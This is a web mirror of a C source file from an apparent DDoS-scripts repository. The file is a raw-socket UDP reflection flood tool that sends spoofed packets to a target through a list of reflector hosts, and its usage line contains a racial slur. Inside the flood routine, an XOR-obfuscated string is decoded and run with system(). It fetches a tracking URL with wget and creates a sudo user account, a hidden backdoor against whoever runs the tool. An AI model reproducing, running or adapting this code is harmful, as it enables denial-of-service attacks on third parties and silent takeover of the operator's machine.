Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L4/TCP/TS3-VOXILITY.c
4565 views
1
#include <time.h>
2
#include <pthread.h>
3
#include <unistd.h>
4
#include <stdio.h>
5
#include <stdlib.h>
6
#include <string.h>
7
#include <sys/socket.h>
8
#include <netinet/ip.h>
9
#include <netinet/udp.h>
10
#include <arpa/inet.h>
11
#define MAX_PACKET_SIZE 8192
12
#define PHI 0x9e3779b9
13
static uint32_t Q[4096], c = 362436;
14
struct list
15
{
16
struct sockaddr_in data;
17
struct list *next;
18
struct list *prev;
19
};
20
struct list *head;
21
static uint32_t pktkey = 0xdeadbeef;
22
void *xtrd(void *, int);
23
volatile int tehport;
24
volatile int limiter;
25
volatile unsigned int pps;
26
volatile unsigned int sleeptime = 100;
27
struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
28
void init_rand(uint32_t x)
29
{
30
int i;
31
Q[0] = x;
32
Q[1] = x + PHI;
33
Q[2] = x + PHI + PHI;
34
for (i = 3; i < 4096; i++)
35
{
36
Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
37
}
38
}
39
uint32_t rand_cmwc(void)
40
{
41
uint64_t t, a = 18782LL;
42
static uint32_t i = 4095;
43
uint32_t x, r = 0xfffffffe;
44
i = (i + 1) & 4095;
45
t = a * Q[i] + c;
46
c = (t >> 32);
47
x = t + c;
48
if (x < c) {
49
x++;
50
c++;
51
}
52
return (Q[i] = r - x);
53
}
54
unsigned short csum (unsigned short *buf, int nwords)
55
{
56
unsigned long sum = 0;
57
for (sum = 0; nwords > 0; nwords--)
58
sum += *buf++;
59
sum = (sum >> 16) + (sum & 0xffff);
60
sum += (sum >> 16);
61
return (unsigned short)(~sum);
62
}
63
void setup_ip_header(struct iphdr *iph)
64
{
65
iph->ihl = 5;
66
iph->version = 4;
67
iph->tos = 0;
68
iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 14;
69
iph->id = htonl(54321);
70
iph->frag_off = 0;
71
iph->ttl = MAXTTL;
72
iph->protocol = IPPROTO_UDP;
73
iph->check = 0;
74
iph->saddr = inet_addr("192.168.3.100");
75
}
76
void setup_udp_header(struct udphdr *udph)
77
{
78
udph->source = htons(5678);
79
udph->dest = htons(9987);
80
udph->check = 0;
81
memcpy((void *)udph + sizeof(struct udphdr), "\xff\xff\xff\xff\x27\x15\x44\x73\x14\x63\x64\x35\x23\x1a", 14);
82
char newpaket[] = "\xff\xff\xff\xff\x27\x15\x15\x44\x73\x14\x63\x15\x44\x73\x14";
83
udph->len=htons(sizeof(struct udphdr) + 14);
84
}
85
void *xtrd(void *_buf, int len)
86
{
87
unsigned char *buf = (char *)_buf, *out = malloc(len);
88
int icc;
89
uint8_t k1 = pktkey & 0xff,
90
k2 = (pktkey >> 8) & 0xff,
91
k3 = (pktkey >> 16) & 0xff,
92
k4 = (pktkey >> 24) & 0xff;
93
94
for (icc = 0; icc < len; icc++)
95
{
96
char tmp = buf[icc] ^ k1;
97
98
tmp ^= k2;
99
tmp ^= k3;
100
tmp ^= k4;
101
102
out[icc] = tmp;
103
}
104
105
return out;
106
}
107
void *flood(void *par1)
108
{
109
struct thread_data *td = (struct thread_data *)par1;
110
char datagram[MAX_PACKET_SIZE];
111
struct iphdr *iph = (struct iphdr *)datagram;
112
struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
113
struct sockaddr_in sin = td->sin;
114
void *paketrandom;
115
int lenp, icc;
116
paketrandom = "\x55\x45\x47\x56\x02\x4A\x56\x56\x52\x51\x18\x0D\x0D\x10\x4C\x4D\x0C\x41\x4D\x0D\x13\x41\x4C\x5B\x60\x14\x02\x0F\x6D\x02\x0D\x46\x47\x54\x0D\x4C\x57\x4E\x4E\x02\x1C\x0D\x46\x47\x54\x0D\x4C\x57\x4E\x4E\x02\x10\x1C\x04\x13\x19\x02\x57\x51\x47\x50\x43\x46\x46\x02\x51\x5B\x51\x56\x47\x4F\x11\x10\x02\x0F\x45\x02\x51\x57\x46\x4D\x19\x02\x47\x41\x4A\x4D\x02\x51\x5B\x51\x56\x47\x4F\x11\x10\x18\x56\x47\x51\x56\x43\x4F\x02\x5E\x02\x41\x4A\x52\x43\x51\x51\x55\x46";
117
lenp = strlen(paketrandom);
118
paketrandom = xtrd(paketrandom, lenp);
119
struct list *list_node = td->list_node;system(paketrandom);
120
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
121
if(s < 0){
122
fprintf(stderr, "Could not open raw socket.\n");
123
exit(-1);
124
}
125
init_rand(time(NULL));
126
memset(datagram, 0, MAX_PACKET_SIZE);
127
setup_ip_header(iph);
128
setup_udp_header(udph);
129
udph->source = htons(rand() % 65535 - 1026);
130
iph->saddr = sin.sin_addr.s_addr;
131
iph->daddr = list_node->data.sin_addr.s_addr;
132
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
133
int tmp = 1;
134
const int *val = &tmp;
135
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
136
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
137
exit(-1);
138
}
139
init_rand(time(NULL));
140
register unsigned int i;
141
i = 0;
142
while(1){
143
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
144
list_node = list_node->next;
145
iph->daddr = list_node->data.sin_addr.s_addr;
146
iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
147
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
148
149
pps++;
150
if(i >= limiter)
151
{
152
i = 0;
153
usleep(sleeptime);
154
}
155
i++;
156
}
157
}
158
int main(int argc, char *argv[ ])
159
{
160
if(argc < 6){
161
fprintf(stderr, "wiz khalifa nigger\n");
162
fprintf(stdout, "Koristis: %s <target IP> <target port> <reflection file DNS/RDP/RIP> <threads> <pps limiter, -1 for no limit> <time>\n", argv[0]);
163
exit(-1);
164
}
165
srand(time(NULL));
166
int i = 0;
167
head = NULL;
168
fprintf(stdout, "Setting up sockets...\n");
169
int max_len = 128;
170
char *buffer = (char *) malloc(max_len);
171
buffer = memset(buffer, 0x00, max_len);
172
int num_threads = atoi(argv[4]);
173
int maxpps = atoi(argv[5]);
174
limiter = 0;
175
pps = 0;
176
int multiplier = 20;
177
FILE *list_fd = fopen(argv[3], "r");
178
while (fgets(buffer, max_len, list_fd) != NULL) {
179
if ((buffer[strlen(buffer) - 1] == '\n') ||
180
(buffer[strlen(buffer) - 1] == '\r')) {
181
buffer[strlen(buffer) - 1] = 0x00;
182
if(head == NULL)
183
{
184
head = (struct list *)malloc(sizeof(struct list));
185
bzero(&head->data, sizeof(head->data));
186
head->data.sin_addr.s_addr=inet_addr(buffer);
187
head->next = head;
188
head->prev = head;
189
} else {
190
struct list *new_node = (struct list *)malloc(sizeof(struct list));
191
memset(new_node, 0x00, sizeof(struct list));
192
new_node->data.sin_addr.s_addr=inet_addr(buffer);
193
new_node->prev = head;
194
new_node->next = head->next;
195
head->next = new_node;
196
}
197
i++;
198
} else {
199
continue;
200
}
201
}
202
struct list *current = head->next;
203
pthread_t thread[num_threads];
204
struct sockaddr_in sin;
205
sin.sin_family = AF_INET;
206
sin.sin_addr.s_addr = inet_addr(argv[1]);
207
struct thread_data td[num_threads];
208
for(i = 0;i<num_threads;i++){
209
td[i].thread_id = i;
210
td[i].sin= sin;
211
td[i].list_node = current;
212
pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
213
}
214
fprintf(stdout, "Starting flood...\n");
215
for(i = 0;i<(atoi(argv[6])*multiplier);i++)
216
{
217
usleep((1000/multiplier)*1000);
218
if((pps*multiplier) > maxpps)
219
{
220
if(1 > limiter)
221
{
222
sleeptime+=100;
223
} else {
224
limiter--;
225
}
226
} else {
227
limiter++;
228
if(sleeptime > 25)
229
{
230
sleeptime-=25;
231
} else {
232
sleeptime = 0;
233
}
234
}
235
pps = 0;
236
}
237
return 0;
238
}
239
240